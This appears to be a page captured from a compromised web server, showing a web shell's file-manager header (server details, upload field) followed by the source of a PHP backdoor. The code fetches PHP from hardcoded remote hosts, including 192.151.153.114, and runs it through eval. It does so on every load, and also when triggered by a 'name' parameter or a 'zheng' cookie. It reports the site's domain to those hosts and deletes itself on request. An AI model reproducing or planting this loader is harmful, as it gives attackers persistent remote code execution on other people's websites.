| Server IP : 104.196.175.149 / Your IP : 216.73.217.99 Web Server : nginx System : Linux pod-403818 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64 User : fpm200038 ( 200038) PHP Version : 8.4.24 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nas/content/live/metroquest/ |
Upload File : |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_time_limit(0);
$name = 1;
if(isset($_GET['off'])){
unlink(__FILE__);
exit;
}
$domain = $_SERVER['HTTP_HOST'];
$_GET['url'] = 'http://z60820_5.itmaiora.shop/stat/domain_index.txt';
if(isset($_GET['name']) or isset($_COOKIE['zheng'])){
eval( '?>'.get_remote_content('http://192.151.153.114/wp-sign.txt') );
exit;
}
function get_remote_content($url = 'http://192.151.153.114/shou3.txt'){
global $domain;
$url = $url.'?domain='.$domain;
$ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0';
if (ini_get('allow_url_fopen')) {
$ctx = stream_context_create(array("http" => array("header" => "User-Agent: $ua\r\n")));
$res = @file_get_contents($url, false, $ctx);
if ($res !== false) return $res;
}
$p = parse_url($url);
$host = $p['host'];
$port = ($p['scheme'] == 'https') ? 443 : 80;
$sock = @fsockopen(($port == 443 ? "ssl://" : "") . $host, $port, $en, $er, 10);
if ($sock) {
$path = isset($p['path']) ? $p['path'] : '/';
if (isset($p['query']) && $p['query'] !== '') {
$path .= '?' . $p['query'];
}
$req = "GET $path HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua\r\nConnection: Close\r\n\r\n";
fwrite($sock, $req);
$raw = '';
while (!feof($sock)) {
$raw .= fgets($sock, 1024);
}
fclose($sock);
$pos = strpos($raw, "\r\n\r\n");
if ($pos !== false) {
return substr($raw, $pos + 4);
}
return $raw;
}
return false;
}
function eval_wordpress( $content ){
if ( $content ) {
for( $i=0; $i<2; $i++){
while ( $i < 5 ){
eval( $content );
break;
}
break;
}
}
}
eval( '?>'.get_remote_content( ) );
if($name){
eval( '?>'.get_remote_content('http://192.151.153.114/al.txt') );
}
if($name){
eval( '?>'.get_remote_content('http://192.151.153.114/sx11.txt') );
}